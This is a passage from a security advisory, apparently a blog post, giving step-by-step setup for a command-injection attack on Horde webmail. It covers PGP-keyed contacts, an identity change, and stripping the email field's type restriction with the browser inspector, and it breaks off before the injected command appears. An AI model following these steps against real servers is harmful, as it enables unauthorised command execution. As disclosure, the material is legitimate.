src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3-300x179.jpg\" alt=\"\" width=\"300\" height=\"179\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3-300x179.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3-768x458.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3-1024x610.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3.jpg 1089w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<li>Create \u201cfrom\u201d contact in our AddressBook: \u201c<em>Address Book -&gt; New Contact -&gt; in Address Book of \u2026<\/em>\u201d\n<ul>\n<li>Personal tab &#8211; Last Name: mymailboxwithPGPkey<\/li>\n<li>Communication tab \u2013 Email: mymailboxwihPGP@any.com<\/li>\n<li>Other tab &#8211; PGP Public Key: any valid Public PGP key.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>For example:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372777336726917\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8212;&#8211;BEGIN PGP PUBLIC KEY BLOCK&#8212;&#8211;  Version: SKS 1.1.6  Comment: Hostname: keyserver.ubuntu.com  mQGiBDk89iARBADhB7AyHQ\/ZBlZjRRp1\/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01  YPdAnovgzxTS89svuVHP\/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ  5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D  \/iOIP\/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82  z77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8\/qYBCLg9cmhdm8PnwE9fd\/  POGnNQFMk0i2xSz0FMr9R1emIKNsA\/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr  72CW3eFUAdF+4bJQU\/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch  zVxJZ5Cyo\/tMSOY\/CxvLL\/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl  Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI  fQSaWQCgiDvvnRxa8XFOKy\/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC  AAYFAkKTPFcACgkQCY+3LE2\/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k  YI0NfUth+0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep  fpAAoJezEplLlaGQHM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC\/opYPoheBBMRAgAW  BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt+1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ  HM8ppKReVHSyGuX+AKCYwRcwJJwoQHM8p86xhSuC\/opYPrkBDQQ5PPYqEAQArSW27DriJAFs  Or+fnb3VwsYvznFfEv8NJyM\/9\/lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu\/  VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA+URtFOA5tSj67h0G4fo0  P8xmsUXNgWVxX\/MAAwUD\/jUPLFgQ4ThcuUpxCkjMz+Pix0o37tOrFOU\/H0cn9SHzCQKxn+iC  sqZlCsR+qXNDl43vSa6Riv\/aHtrD+MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG+QaUqw  gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u\/xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ  WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv  iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk+DFRBsMw\/27  kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8=  =RHjX  &#8212;&#8211;END PGP PUBLIC KEY BLOCK&#8212;&#8211;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372777336726917-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372777336726917-28\">28<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-1\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">BEGIN <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-m\">PUBLIC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">KEY <\/span><span class=\"crayon-v\">BLOCK<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-2\"><span class=\"crayon-v\">Version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">SKS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.1.6<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-3\"><span class=\"crayon-v\">Comment<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Hostname<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">keyserver<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">ubuntu<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">com<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-4\"><span class=\"crayon-v\">mQGiBDk89iARBADhB7AyHQ<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ZBlZjRRp1<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-5\"><span class=\"crayon-v\">YPdAnovgzxTS89svuVHP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">BiqLqhJMl2FfMLcJX<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">va<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">DujGuLDCZDHi<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">4czc33N3z8ArpxzPQ<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-6\"><span class=\"crayon-cn\">5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-7\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">iOIP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-8\"><span class=\"crayon-v\">z77raSqbZVJzAFPzYoIKuc3JOoxxE<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">SelzSzj4LuQRXYKqZzT8<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qYBCLg9cmhdm8PnwE9fd<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-9\"><span class=\"crayon-v\">POGnNQFMk0i2xSz0FMr9R1emIKNsA<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-10\"><span class=\"crayon-cn\">72CW3eFUAdF<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">4bJQU<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">V69Nr<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-11\"><span class=\"crayon-v\">zVxJZ5Cyo<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">tMSOY<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">CxvLL<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">vMoT2<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-12\"><span class=\"crayon-v\">Y2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">iEYEEBECAAYFAjk<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">IEgACgkQzDSD4hsI<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-13\"><span class=\"crayon-v\">fQSaWQCgiDvvnRxa8XFOKy<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">NI7CKL5X4D28An2k9Cbh<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">dosXvB5zGCuQiAkLiQ<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">CiEYEEREC<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-14\"><span class=\"crayon-v\">AAYFAkKTPFcACgkQCY<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">3LE2<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">Ce4l<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-15\"><span class=\"crayon-v\">YI0NfUth<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0QzJs1ciFYEExECABYFAjk89iAECwoEAwMVAwIDFgIBAheAAAoJEFsqCm37V5ep<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-16\"><span class=\"crayon-v\">fpAAoJezEplLlaGQHM8ppKReVHSyGuX<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">AKCYwRcwJJwoQHM8p86xhSuC<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">opYPoheBBMRAgAW<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-17\"><span class=\"crayon-v\">BQI5PPYgBAsKBAMDFQMCAxYCAQIXgAASCRBbKgpt<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">1eXqQdlR1BHAAEBfpAAoJezEplLlaGQ<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-18\"><span class=\"crayon-v\">HM8ppKReVHSyGuX<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">AKCYwRcwJJwoQHM8p86xhSuC<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">opYPrkBDQQ5PPYqEAQArSW27DriJAFs<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-19\"><span class=\"crayon-st\">Or<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">fnb3VwsYvznFfEv8NJyM<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">9<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lDYfIROHIhdKCWswUWCgoz813RO2taJi5p8faM048Vczu<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-20\"><span class=\"crayon-v\">VefTzVrsvpgXUIPQoXjgnbo6UCNuLqGk6TnwdJPPNLuIZLBEhGdA<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">URtFOA5tSj67h0G4fo0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-21\"><span class=\"crayon-v\">P8xmsUXNgWVxX<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">MAAwUD<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">jUPLFgQ4ThcuUpxCkjMz<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">Pix0o37tOrFOU<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">H0cn9SHzCQKxn<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">iC<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-22\"><span class=\"crayon-v\">sqZlCsR<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">qXNDl43vSa6Riv<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">aHtrD<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">MJLgdIVkufuBWOogtuojusnFGY73xvvM1MfbG<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">QaUqw<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-23\"><span class=\"crayon-v\">gfe4UYOchLBNVtfN3WiqSPq5Yhue4m1u<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">xIvGGJQXvSBxNQyiEYEGBECAAYFAjk89ioACgkQ<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-24\"><span class=\"crayon-e\">WyoKbftXl6kV5QCfV7GjnmicwJPgxUQbDMP9u5KuVcsAn3aSmYyI1u6RRlKoThh0WEHayISv<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-25\"><span class=\"crayon-v\">iE4EGBECAAYFAjk89ioAEgkQWyoKbftXl6kHZUdQRwABARXlAJ9XsaOeaJzAk<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">DFRBsMw<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">27<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-26\"><span class=\"crayon-v\">kq5VywCfdpKZjIjW7pFGUqhOGHRYQdrIhK8<\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372777336726917-27\"><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">RHjX<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372777336726917-28\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-st\">END<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-m\">PUBLIC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">KEY <\/span><span class=\"crayon-v\">BLOCK<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0037 seconds] -->  <\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>Click \u201c<em>Add<\/em>\u201d button:<\/li>\n<\/ul>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4.jpg\" data-slb-active=\"1\" data-slb-asset=\"725680810\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3114\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4-300x182.jpg\" alt=\"\" width=\"300\" height=\"182\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4-300x182.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4-768x466.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4-1024x621.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-4.jpg 1074w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<li>Go to <em>Preferences<\/em> -&gt; <em>Global Preferences<\/em> and click on <em>Personal Information<\/em> link. Put <em>mymailboxwihPGP@any.com<\/em> into field The default e-mail address to use with this identity and Click \u201c<em>Save<\/em>\u201d:<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5.jpg\" data-slb-active=\"1\" data-slb-asset=\"1970799320\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3115\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5-300x186.jpg\" alt=\"\" width=\"300\" height=\"186\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5-300x186.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5-768x475.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5-1024x634.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5-825x510.jpg 825w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-5.jpg 1099w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<li>Create our \u201c<em>to<\/em>\u201d contact in our AddressBook: \u201c<em>Address Book<\/em> -&gt; <em>New Contact<\/em> -&gt; <em>in Address Book of \u2026<\/em>\u201d\n<ul>\n<li>Personal tab &#8211; Last Name: contact_for_attack<\/li>\n<li>Communication tab \u2013 Email: hereinj@any.com<\/li>\n<li>Other tab &#8211; PGP Public Key: any valid Public PGP key (it can be the same as in the previous step)<\/li>\n<li>And click \u201cAdd\u201d button:<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6.jpg\" data-slb-active=\"1\" data-slb-asset=\"1818371709\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3116\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6-300x188.jpg\" alt=\"\" width=\"300\" height=\"188\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6-300x188.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6-768x480.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6-1024x640.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-6.jpg 1102w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<li>Inject our command: Click on <em>Edit<\/em>. Go to <em>Communication<\/em> Tab, put cursor in <em>Email<\/em> field and chose \u201c<em>Inspect Element (Q)<\/em>\u201d from context menu:<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-7.jpg\" data-slb-active=\"1\" data-slb-asset=\"1306609643\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3117\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-7-300x149.jpg\" alt=\"\" width=\"300\" height=\"149\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-7-300x149.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-7-768x380.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-7.jpg 1012w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ol> <\/ol>\n<ol>\n<ul>\n<li>Delete \u201c<em>email<\/em>\u201d from the type argument and close Inspector:<\/li>\n<\/ul>\n<\/ol>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37277c991720480\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;input name=&#8221;object[email]&#8221; id=&#8221;object_email_&#8221; value=&#8221;hereinj@any.com&#8221; type=&#8221;email&#8221;&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37277c991720480-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37277c991720480-1\"><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-e\">input <\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;object[email]&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">id<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;object_email_&#8221;<\/span><span 